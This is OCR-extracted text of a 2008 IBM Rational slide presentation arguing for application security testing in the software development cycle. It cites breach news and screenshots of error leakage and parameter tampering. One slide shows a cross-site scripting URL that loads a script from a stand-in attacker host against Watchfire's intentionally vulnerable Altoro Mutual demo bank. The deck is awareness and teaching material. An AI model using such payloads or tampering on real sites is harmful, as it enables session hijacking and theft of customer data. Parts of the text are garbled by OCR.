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VWhat is Your Most Important/Strateglc IT=IDC

Analyze the Future

Infrastructure Reguirements in 2006-0/77

Adaptve/Dynamic 1T environment

Top Priorities 2006 Rank | 2007 Rank
In terms of Top
business goals:
Building a secure IT environment - 1 #1 reducing cost
Secunity threats, business confinuify, structure
aecess control )
#2 expanding
Reducingtotare “over time - 2 business in existing
Resaume ufmzafsm, growing or new geographies
Infrastructure requirements, more cost
affactive tachnologlas/sarvices #3 Improving
Faster deployment of applications - 3 customer service
expedite applications availahility or
functionality enhancements to corporate users
Cutsourcing part of T 4
Building a Utity/COr-demandf 5

APJ Continuum Survey, 2007
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The Security Journey Continues

- New and More ...
e Applications
e Services
e Systems
-> Vulnerabilities
-> Hacking methods
-> Viruses, Worms, RATS, Bots ...

NEW AREAS
(Remote Access TROJANS = Spyware) OE IT SECURITY
-> GOVERNANCE & WEAKNESS
COMPLIANCE! ARISE ALL THE
TIME
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It Gets Worse

e WAP, GPRS, EDGE, 3G
e 802.1x
e Broadband



http://www.turnpoint.net/wireless/images/pringlesonstandbig.jpg

Sheer Volume of Applications Keeps You From

Getting Ahead of the Problems

Security Team Has Become a Bottleneck

Lack of Control and Visibility

Catching Problems Late in the Cycle

Not Monitoring Deployed Applications

Difficulty Managing 3" Party Vendors

Have to do more with less, still; Risk is high, accountability
IS prevalent

¥ RSDC Geo Review




‘ IBM Rational Software Development Conference 2008

Software Application Development Pressures

4 most common laments of the development executive

I’'m being asked to:

Deliver product faster (a lot faster!)

eIncrease product innovation

Improve quality

sReduce cost

¥ RSDC Geo Review
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APPLICATIONS — THE HACKER'S NEW TARGET

= Next-generation hack attacks?
= “guided” “cyber-biological” attack?

= IT Security: People don’t really know what they want to do so they
just put up physical defenses

= WHAT DOES A HACKER WANT?
= WHY DOES A HACKER ATTACK?

» Short of denial of service, hack attacks are aimed at the software / application /
database, not the network /infrastructure
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BEST EXAMPLE OF APPLICATIONS
VIS-A-VIS SECURITY ISSUE:

WEB APPLICATIONS
WEB SERVICES

AND A LOT OF APPLICATIONS TODAY USE A WEB —
BASED GRAPHICAL INTERFACE FOR USER ACCESS
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WE ARE HIGHLY DEPENDENT ON WEB SERVICES
TODAY

= WORK / BUSINESS
» INTERNET, INTRANET, EXTRANET
= ERP, SCM, CRM, SAP, B2BM, B2C, COMPANY INTERNAL INFO SERVICES

PLAY / SOCIAL NETWORKING / RECREATION
» YouTube, Facebook, Second Life, Friendster, ITunes, MySpace, BLOGS! ...

EDUCATION / RESEARCH

TRANSACTIONS / ONLINE SERVICES
» INTERNET BANKING, MEMBERSHIP PORTAL, TRAVEL BOOKING, TRADING
= B2C, C2C, Amazon, EBay E*Trade ...

COMMUNICATION
WEB 2.0, SOA
ONLINE STORAGE SERVICES



SO WHY ARE THESE HAPPENING?

PI=3 One-Minute World News

Last Updated: Tuesday, 21 August 2007, 10:01 GMT 11:01 UK

& Frintable versien

Monster attack steals user data

B8 E-mail this to a friend

Y

uUs job website Monster.com
has suffered an online attack
with the personal data of
hundreds of thousands of users
stolen, says a security firm.
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) UK the website using stolen log-in
Business rodentials.
Health
B ' ) Monster is a leading online jobs
Science/Nature  Symantec said the log-ins were  zervice
Technulngyl used to harvest user names, &-
Entertainment Mail addresses, home addresses and phone numbers,

were uploaded to a remote web server.

Alen in tha nauwre

YEHOO! FINANCE

YWed Apr 23 2008

AP

Hack into Obama campaign site exploited a coding flaw

""""" r April 23, 6:53 pm ET

By Jordan Robertzon, AP Technology VWritsr

Hack that redirected traffic from Obama's site to Clinton's exploited pre

SAMN JOSE, Calif. (AP) — A simple flaw in the coding of Sen. Barack Obama’s Web site led to
before the important Pennsylvania primary.

Some supporters who tried to vizit the community blogs =ection of Obama's site started notic
Rodham Clinton’s official campaign sits.

Security rezearchers =3id a hacker exploited a =o-called "crozs=-=ite =cripting” vulnerability ir

NEWS.com

http:inews.cnet.comi/3301-10]

2007 4:39 PM PDT

&pril &

Asus Web site harbors threat

osted by Joris Evers

It iz not 2uch a Good Friday for ASUStek Computsr.

The main Web =site of the Taiwanege hardware maker, known for itz A=ug branded PCs and motl
been rigged by hackers to gerve up malicious =oftware that attemptz to expleit a critical YWindowe:
expertz =aid Friday.

The attackers added an invizible frame, a 2o-called iframs, to the front page of the A=zus.com We
the site, a victim's browser wil gilenthy connect to another ¥Web site that tries to inztall a malicious

VWe'we just confirmed multiple reports about Asus.com, a wery well known hardware manufactur
compromized,” 4 researcher with Kaspersky Lab wrote on the company's Viruslist.com site.



‘ IBM Rational Software Development Conference 2008

Hacking Stage 6

u. i
e ) S, Embassy Web Sijte — Wikipedia, Feb 9 2007

In Manila, Defaced
- AHHeadlineNews, Mar 27, 2008

§ RSDC Geo Review



- Straits Ti.mn-! Raror TV,
“employer which has
tsing Facebook to adyer-
© tise various job openings = for
multimedia journalists, videog-
and prosentors.
Since last December, editor
Eugene Leow has posted the
ings on Facebool's marliet-
where nsers can view and
post clssified advertisements.
So far, he hae been geting
aroind a dozen responses to the
postings cach week.

R e T T

pmmhhmmﬂhhhnﬂeimn

hham-wu

-~ Baid Mr Leow: “We use Face-
book because its users are pur
ideal target group. We are look-
Ing for people who are in tune
with Internet ulture and are to-
wally comfortable with the sn-
line realm.”

One successful Facebaok re-
ettt is Rosalind Loy, 26, a mul-
{imedia journalist with Ravor
TV, Shechecked out its job post-
ings on Facebook after hearing
about them from a friend last
Iecember.

She sent in her resume via
e-mail and successfally went
through the usual application
process,  Thia ineluded
face-to-face interviews and a
writing test.

Mde Lay: “I think ium

the tone of the entiry applica-

tinm process.

“It was less intimicating ”

Bome reeruitment agendes
Fave taken the Pacehook pliv-
nomenon one step further,

iHipo, an online global re-
eruitment agency, buailt their
own Fzceboox application =
which gives users a foed of the
most recent jobs, mainly en-
try-level executive johs and in-
ternships with (ecal and interna-
tonal firms

Said Singapore-based
co-founder Amout Wagenaar,
26; © Since we built our iHipo

ERTEYL T ]
dién shi Iis xiang yuan

1 Resume: & /5 [idn i

21 Innovative: 81578
chuang xin de

ANDREA SOH

JUST keep 1o legitinaté web-
sites and you will be safe from se-
curity threats? Think again,
wams a US-headquartered com-
puter security compiany,

While it used to be that Meti-
zens could fall prey o security
breaches by unknowingly visit-
'in.;uulh:inua sites or accidental-
Iy elicking on malicious e-mail
attachments, these days they
affected just by visiting
: beites.

were 87963 phishing hosts -
omputers which hos: phishing
websites = in the second half of
2007, an inerease of 167 per
et compared to the first half,
Fhishing, or the theft of per-
sonal information such as bank
and eredit card accounts details,
& done through creating looka-
likes of these legitimate sites,
e-mail and instant messaging.
Mr Stephen Trilling. Syman-
tee Security Technology and Re-
sponse vice president said:
"Avoiding the dark :\Il.'}'s of the
Internet was sufficient advice in
years past. Today's eriminal is fo-
cuxed on compromising legii-
e websites o laoneh attacks
on end-users, which under-
saores the importance of main-
taining & strong security postire
oo matter where you go and

‘b!h-ltynu do on the Ir tr.vmet.

The report provides a six-
ronth update from of Intemet
threat activity in the Asia Pacific
region from July to December
last year. It incdudes an analysis
of disclosed vulnerabil ties, mali-
dous code reports and security
nsks.

Also, stolen information ob-
tained through phishing and
keystroke logging, has become
sa plentiful tht the price of sto-
len datz has hit a new low, my
paper reported on Wednesdey,

A full identity, incluling a per-
=on’s name, sddress, date of
birth, a functioning credit card
rumber and US Social Security
ritimber, can be purchased in the
underground econcmy for as lit-
tie as USHE1 (85140}, Symantec
mid Previously, it coste between
USS10 and USz150.

Social networking sites targeted by hackers

Spam has also continued to
be n menace, peaking nt all-tume
highs of 88 percent of all
e-mails [ast month. It rose from:
an average of 78.5 per cent in
Januaryto 81 per cent in Mareh
this year

Socisl networking sites snch
a5 Bahu, a private social net-
working site Jor internaticnal
dudents to stay in touch with
friends, have 2lso been the tar-
get of spammers. Said Symantec
Singapere general manager Dar-
nic Hor: “Social netwrorking sites
are especinlly attractive becanse
not only do the profiles on such
sites contain a significant
amount. of personal informa-
tion, users usually allow a trust-
od site o execute code on their
computers,”

fﬁ’ﬁ‘*ﬁ‘f@.ﬂM-'
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The Myth: “Our Site Is Safe”

We Have Firewalls We Audit It Once a
and IPS in Place Quarter with Pen Testers
Port 80 & 443 are open _ / Applications are constantly
for the right reasons W.\ _l changing

adaas B

We Use Network
Vulnerability Scanners We Use SSL Encryption
Neglect the security of the Only protects data between
software on the network/web site and user not the web
S application itself

DC Geo Review



) 500 Internal Server Error - Mozilla Firefox

Bi=  Edt View G0 Bockmaks  Jook  Help
R - A R EIT  r  To———————rt" =] © 5o [[CL# anneds phippines

500 Internal Server Error

java. lang. . HullPointerException
at FleetWatch. fvcontrol.dotet (fucontrol . Jjavaria)
ab javad.servlet.hoop.HoopServlev.gervice [(HoopServlet. java: 74900
at jowvax.sercvlet.hotp.HotpServlet . service (HotpSecvlet. Jjava: 853 )
ac com.evermlnd[Cracle Appllcaticn Server Contalnsera for JEZEE 10g [9.0.%.2.0)] .2ecver.htop.Secviletfequeatlispatcher . invoke (ServletRegueachiapatchet . dan
ak com.evermind[Ocracle Application Server Containers for J2ZEE 10g |[2.0.4.2.0) ) .=secver.http.ServletRequestispatcher. forvacdInternal (FecviletReaquesthiaps
at com.evermind[Oracle Application Server Contminers for JZEE 109 (9.0.4.2.0)] .secver.bhicp.HtopReguestHandler . procesaRequest (HotpRequestHand ler - Java: 75
at com.evermind[Cracle Application Ferwver Contalners rfor JEEE 10 [9.0.%.2.0)1] .2erver.hotp. MIPREequestHandler .. tun ( AJPREquestcHandler .. javas: 208)
at com.gvermind[{racle Applicaticon Server Containers for JZEE 10g (2.0.%.2.0) ] .secver.htop. WPRequestHandler . run (AJFRequestiandler. javaz 125)
ac com.evermlnd[Cracle Appllcaticon Jerver Contalnsera for JZEE 10g [9.0.%.2.0)]) -util.ReleazadleRegourceFPoo lEﬂEKECuEDIsHWDEREr. Eun | Beleagab leResonooePoo

at jsva, lang. Thread.run [Theead. javs: 534)

i |
Do

start] [ @ 500 Internal Serve... B M5 DOS | &1 ohilippine Airtines -... DG B 12 aM
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/= Runtime Error - Windows Internet Explorer

S I@?_ hitto:f fe g R m errors (404, aspxPaspxerrorpath = Default. aspx j “f | ?f. | I |F' i"|
Fie Edit View Favorites Tools Help )= 3.0 minutes ssved
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=]

Server Error in '/' Application.

Runtime Error

Deseripbion: A aophicdionemarocourrad on Ine s The Suriend Susiom <inir eflingss for Pl apoliestion prevend e Gl of W aximoliosion ernor Thom D] viswed

Detad]s: To nchie e sials orids E250INC emormesiage 30 be viswatie 0o I lots! senver matilne, pieace oreais S -shusiomBrngre=- g witilh a "nel Sonhy  oonilpnration e odaed In e o Cirecntsy of I ety
Snfile 530 15 "REMMEDeY TH ASNNE B2 GLESHE 13 BE vyt B AESNE MASIEE _:I-:u-Eu':EE".' HEEL B "o

2!-- web, Config configuration Fila --=

aconf fmarat o
151-'51:&"1 wah =
acustonErrors mode="Remotelnly” >
=/EysTer, webx
=fcontiosrac oma

Nuoske: Tre cusrent £ra07 page jou 2ne seeing can be nesiced by scssiom emor page &y modiving Te HeleeiRedisect” sSrinse of Be appiication’s «ousbmSrrors:= confipuration g B pold I8 cusiom ermor mage USL
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Sign In | Contact Us | Feedback | Search

BﬁoroMutual > DEMO

SITE

ONLY

An Error Has Occurred

Summary:

Unclosed quotation mark after the characte

Error Message:

.0leDb.0OleDbException: Unclosed quotation mark after the character string '"'. Incorrect syntax near 'a'. at
ta.OleDb.OleDbDataReader.ProcessResults{OleDbHR esult br) at System.Data.OleDb.OleDbDataReader.NextResult() at
Data.0leDb.OleDbCommand.ExecuteReaderInternal{CommandBehavior behavior, String method) at System.Data.OleDb.OleDbComman
andBehavior behavior) at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader{CommandBehavior behavior) at
.Data.Commaon.DbDataAdapter.Filllnternal{DataSet dataset, DataTable[] datatables, Int22 startRecord, Int32 maxFecords, String srcTableJIDBCommand
commafd, CommandBehavior behaviar) at System.Data.Common.DbDataAdapter.Fill{DataSet dataSet, Int32 startRecord, Int22 maxRecords, St
IDbCommMgnd command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill{DataSet dataSet, String srcTabla) at
Altoro.futhe

sender, Evantar

System.D
System.
Syste wecuteReader
(Com
Syste
g srcTable,
ication.ValidateUser({String uName, String pWerd) in c:\Altore_Demo‘\website\bank\login.aspx.cs:line 68 at Altoro.Authenticatjpf.Page_Load{Objact
p. Objact o, Object t.
nLoad({EventArgs =) at

in c:\Altoro_Demolwebsite\bank\login.aspx.cs:line 23 at Systemn.Web.Util.CalliHelper.EventArgFunctionCaller{Int
EventArgs ) at Syste b.Util.CalliEventHandlerDelegateProxy.Callback{Object sender, Eventargs &) at System.Web.UIL.Cont
System.Web.UIL.Control.Loa
includeStagesAfterfsyncPoint)

jvel] at System.Web.UI.Page.ProcessRequestMain{Boolean includeStagesBeforeis, int, Boolean

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defects. This site is not a real banking site. Similarities. if any. to third party products and/or websites are purely coincidental. This site is
provided "as is" without warranty of any kind. either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additicnal Terms of
Use, please go to http:/ /v watchfire.comy/statements/terms.aspx.

Copyright @ 2007, Watchfire Corporation, All rights reserved.

Dane B« Trusted sites +, 100%
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= www.altoromutual.com - /altoro/bank/ - Windows Internet Explorer

@ ¥~ |§, http: ffwwew. altoromutual. com/faltoro bank,

V1 || % |

i:? 41;1\? [gwww.altoromutﬁl.com—faltorm'bank;"

[

G-8

g%..] - I-_:_}Eage - f;!- Toals ~ @v %) ﬁ

114
Tl
it
=

www.altoromutual.com - /altoro/bank/

[To Parent Directorvy]
7527/2007 12:20 PM <dir> 20060308 bak
11/20/2006 10:05 AM 1831 account.aspx
T/1ae/2007 8:36 LM 4089 account.aspx.cs
11/20/2006 10:05 &AM 771 apply.aspx
11202006 10:05 LM 2828 apply.asp®.cs
1171072008 1:20 PM 2236 bank.master
7/16/2007 8:35 AM 1134 bank.master.cs
11/20/2006 10:05 M 904 customize.aspx
11/20/2006 10:05 AM 1955 customizZe.asSpX.csS
T/23/72007 4:286 BM 1806 login.aspx
T/23/2007  4:27 BM 5847 login.aspx.cs
11/1/2006 8:42 PM T8 logout.aspx
T/1e/2007  9:3% LM 3254 logout.aspx.cs
T7/1e/2007 8:21 BM 935 main.aspx
T/16/2007 9:36 AM 3951 main.aspx.cs
7/27/2007 12:20 BM <dir> members
171272007 1:55 BM 1414 mozxpath.]js
11/20/2006 10:05 M TES guervxpath.aspx
11/20/2006 10:05 AM 1838 gueryvxpath.aspx.cs
T/18/72007 5:13 BM 498 sServererror.aspx
T/A18/2007 4:13 BPM 1700 transaction.aspx
T/18/2007 4:15 BM B2E6 LransSacticon.asSpx.cs
T/17/2007T  3:03 PM 3930 transfer.aspx
T/18/2007 4:51 PM 3505 transfer.aspx.cs
T17/2007 2:44 PM 82 ws.asmx
Nana FEll _F Troterd citeo o qnnos
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User sends the site more than they think

{= Altoro Mutual: Search Results - Windows Internet Explorer

& | http:/fwww.altoromutual.com/altorofsearch. aspx?txtSearch =%3Cscript-+src¥e30 %2 Zhttp %34 Yo 2F %6 2Fvoww. evilsite.com % % | | ¥4 || X -

'L\? 45 (& Altoro Mutual: Search Results ‘I:I\ T~ R f=n v |:orPage ~ iCf Tools ~ v < &jb ik

i Lol bt o | Lo oo | o L Go

A Ito ro M u t u a | http://www.altoromutual.com/altoro/search.aspx?txtSearch=%3Cscript+src%3D%22http%3A%2F%2F
www.evilsite.com%2Fxss%2Fhijack.js%22%3E%3C%2Fscript%3E

B ONLINE BANKING LOGIN PERSOMNAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

PERSOMAL

Depostt Product Online Banking Login
Checking

Loan Products

Cards

Investments & Insurance

Username:

Other Services Password:

SMALL BUSINESS -
* Deposit Products

Lending Servicas

Cards

Insurance

Retirement

Other Services

INSIDE ALTORO MUTUAL
* About Us

Contact Us

Locations

Investor Relations
Press Room

Carsers HaCkerS

)
Brivacy Policy | Security Statement | & 2007 Altoro Mutual, Inc. don’t use

. MS_IE!

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is
provided "as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms
of Use, please go to http://wwwwatchfire.comy/statements/terms.asp=.

Copyright & 2007, Watchfire Corporation, All rights reserved.

Done & # +/ Trusted sites + 100% -
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Real Example: Online Travel Reservation Portal

s

pital KBsE atio L) - - 3 by by als E B D10 [ |
—
Qe)- B v & [4][x L~
o | - >
W |B Hotel Reservation Onfe—= SacHoR—— i - B = - Page ¥ O Tooks v

Hotel Reservation Online

Change the reserID to 2001200
Dear MR IS am,

Asg aresult of your reservation 20031959

at the hotel Le Meridien / Jakarta / Indonesia

far 2 nights (from Jan 23 2007 to Jan 25 2007)

we processed a credit card transaction on Jan 15, Z007.
The credit card transaction was successful.

The details of your transaction are as follows:

Reservation number: 20031958
Card Holder Mame: Sam IR
Credit/Debit Card: mooo-ooo-ooe-2196
Expiration Date: 06/2007

Amount: 240.00 3GD

Date: Jan 15, 2007

Billed as:

You can print this transaction slip

Please note that this is not an invoice. An invoice will be issued 10 days after your check-out date.
¥ou can get vour invoice following this link.

We hope you will have a nice stay at this hotel !
We are looking forward to making a new resenvation for you !
With our thankes,

Dione L® & Internet *100%

-




Real Example : Parameter Tampering

Reading another user’s transaction — insufficient authorization

0 on U D p LU0 L o - E plore a e
@@v Elhttps [l _ece|pt php?reger[D=20012008email= 1 vid |4 X P~
T.E ‘fﬁ? ElHoteI Reservation Onine - Transaction .. | fi - B - & - [hPage ¥ & Tooks v

M

Hotel Reservation Online

Dear My |||stin

As aresult of your reservation 2001200 Another CUStomeI”S transaction
atthe hotel Mikko Resort And Spa / Bali f Indonesia

for 5 nights (from Jan 18 2006 to Jan 23 2006 ) =, S|ip IS revealed, including the

we processed a credit card transaction on Jan 03, 2006. .

The credit card fransaction was successful. ema” add ress

The details of your transaction are as follows:

Reservation number. 2001200

Card Holder Mame: Justin Mesm——
CreditDebit Card: woo-n00-000-4683
Expiration Date: 08/2007

Amount 506.61 USD

Date: Jan 03, 2006

Billed as: HE__———

Yau can print this fransaction slip

Please note that this is not an invoice. An invoice will be issued 10 days after your check-out date.
You can get vour invoice following this Iir@

We hope you will have a nice stay at this hotel !
We are looking forward to making a new reservation for you !

With our thanks,
/ \ v

hittps:/ o N o/ 7 reser [D=200120 i= @hotmail cor @ & Internet 4009 -




Parameter Tampering - Reading another user’s invoice

oA | &) Hotel Resarvation Online - Invoice 200, .

o o= - |PPage ¥ 0k Tocls »
s
The same customer invoice
To P . ustin
Company that reveals the address and
Address 22 I S tralia
Phone 61 S contact number
RECEIPT/ TAX INVOICE #2001200
Date Jan 30 2006
Description Nights Rate Amount
Booking reference 2001200 at hotel :
Mikko Resort And Spa / Bali / Indonesia
Perniod :
From Jan 18 2006 to Jan 23 2006 (5 night(s))
Ocean View Room, Breakfast Included 5 138 690.00 ALID
2 adult(s), 0 child(ren}, 0 infant(s)
TOTAL AMOUNT 506.61 USD
The Payment, billed as THIINIEIGIGINGNGNGNGNEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE - =ccived by credit card, on Jan 03, 2006, to our account from
. a - omrre———— :
Card Holder Mame Justin INE——
Credit/Debit Card O-000-000-4688
Expiration Date 082007
We hope you had a nice stay at this hotel !
We are looking forward to making a new reservation for you !
With our thanks, -
Crore
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Top Hack Attacks Today Target Web Services

Cross-site scripting has
shot up the list of most
common vulnerabilities

800
CROSS-SITE SCRIPTING
BUFFER OVERFLOWS
SQL INJECTION
B DIRECTORY TRAVERSAL
600 PHP INCLUDE
SOURCE: US-CERT COMMON VULNERABILITIES AND EXPOSURES
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Web Application Hacks are a Business Issue

Buffer overflow

Denial of Service (DoS)

Site Unavailable; Customers Gone

Cookie poisoning

Session Hijacking

Larceny, theft

Hidden fields

Site Alteration

lllegal transactions

Debug options

Admin Access

Unauthorized access, privacy
liability, site compromised

Cross Site scripting

Identity Theft

Larceny, theft, customer mistrust

Stealth Commanding

Access O/S and Application

Access to non-public personal
information, fraud, etc.

Parameter Tampering

Fraud, Data Theft

Alter distributions and transfer
accounts

Forceful Browsing/

Unauthorized Site/Data

Read/write access to customer

SQL Injection Access databases
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Hackers Attack Apps by Exploiting Unintended
Functionalities

Actual Functionality

L —

Intended Functionality

Unintended
Functionality
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Why Do Application Security Problems Exist

OUR GOAL IS TO WRITE
BOGFREE SOFTWARE. .
T'LL PAY A TEN-DOLLAR
BONUS FOR EVERY BUG
YOU FIND AND FIX.

1 HOPE T'™M GONNA
THLS WRITE ME A
DRIVES NEW MINLVAN
THE RIGHT ~ THIS AFTER-
BEHAVIOR. NOON!

S Adms E-mall: SCOTTADAMS@AOL.COM
l"n"‘.l'r!'_‘,'- & 1995 United Feature Syndicate, Inc.(HYC)
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Existing Solutions Don’t Address App Security

IT Security Solutions are usually for network and infrastructure

» Firewalls and IPS’s don’t block application attacks
» Port 80, 8080 and 443 are open

» Network scanners won't find application vulnerabilities.

= Nessus, ISS, Qualys, Nmap, etc.

= |IT Security professionals are typically from the network /infrastructure area, and
usually have little experience in software application development

= Developers are usually not trained in or mandated to security.

» 64% of developers are not confident in their ability to write secure applications — Microsoft Developer Research
» Developers do not care about security, they think its someone else’s job
=  (even though they are the root cause)

= Security teams are focused on other issues (network, desktops, etc) and
overwhelmed

= They don’t want to have to deal with another new issue that they don’t understand

= No defined policy, accountability or process to deal with the issue (not
many people understand application attacks today)



Why would anyone want to attack a web site?
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The Fact: Attacks targetted at a new area

Security Spending
%o of Attacks %o of Dollars
Web
Applications

& services

Network
Server

infrastructure

In an organization, IT Security people and developers are poles apart

3 RSDC Geo Review



| IBM Rational Software Development Conference 2008

]
nll
I
g
1]

Reg U | a.tl O n & CO m p | I an Ce SARBANES-OXLEY, HIPAA, BASEL Il ...

= |tis part of doing business
= Business Continuity

= An environment of TRUST

» For doing business

» Ensure Orderliness in Internet world

» Promote Economic growth

= More than just
Confidentiality, Integrity
and Availability

= Privacy

3rd Party Customer Data

People never learn —there will be another Edison Chen case — that's why | still have a job today

SEND THE SALARY
SPREADSHEET TO
HUMAN RESOURCES.

wwnw . dilbert.com  scobftadama®acl.com

DON'T LET ANYONE
ELSE SEE IT. THAT
SORT OF INFORMA -
TION COULD SO
THE SEEDS OF DIS

CONTEMT.

WE'D HAVE MASSIVE
DISLOYALTY, FIGHTS,
VAMDALISM, MAYDBE
EVEN RIOTS.

-0 2 3004 Soott Adame. Inc/Diet. by UFS, nc.

O UFS, Ing.
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ISSUES WITH APPLICATION SECURITY &
COMPLIANCE TODAY

= Penetration Test services usually do not include security-testing the
software applications, yet

= Penetration Test services are usually only as good as the tester

= Highly-qualified /experiences technical consultants tend to be
opinionated

= Many companies, due to cost, ignorance or apathy, will do only the
minimum for security compliance audit

» Don’t be like the Singapore Mercedes Benz owner @

= Free tools?!

» Don’t bet your company’s IT security or audit on these alone!
= Free tools are good for your own personal use and testing but be sure of origin!

Why do | still have a job (in IT Security) today?

&)
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Building security & compliance into the SDLC

Coding

Developers

" RSDC Geo Review

Developers

- a Developers

SIDILEC

Build

QA

Security

Production

&

Provides Developers and Testers
with expertise on detection and

remediation ability

Enable Security

to effectively
drive

AT
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Ensure
vulnerabilities
are addressed
before
applications
are put into
production
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Conclusion: Application QA for Security

* The Application Must Defend Itself

» You cannot depend on firewall or infrastructure security to do so

= Bridging the GAP between Software development and Information
Security

= QA Testing for Security must now be integrated and strategic

= We need to move security QA testing back to earlier in the SDLC

» at production or pre-production stage is late and expensive to fix
» Developers need to learn to write code defensively and securely



SDLC QA - YOUR LAST LINE OF DEFENSE
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APPLICATION SECURITY

YOUR LAST LINE OF DEFENSE

Anthony Lim

Director, AsiaPacific, Security, Rational Software

Thank You
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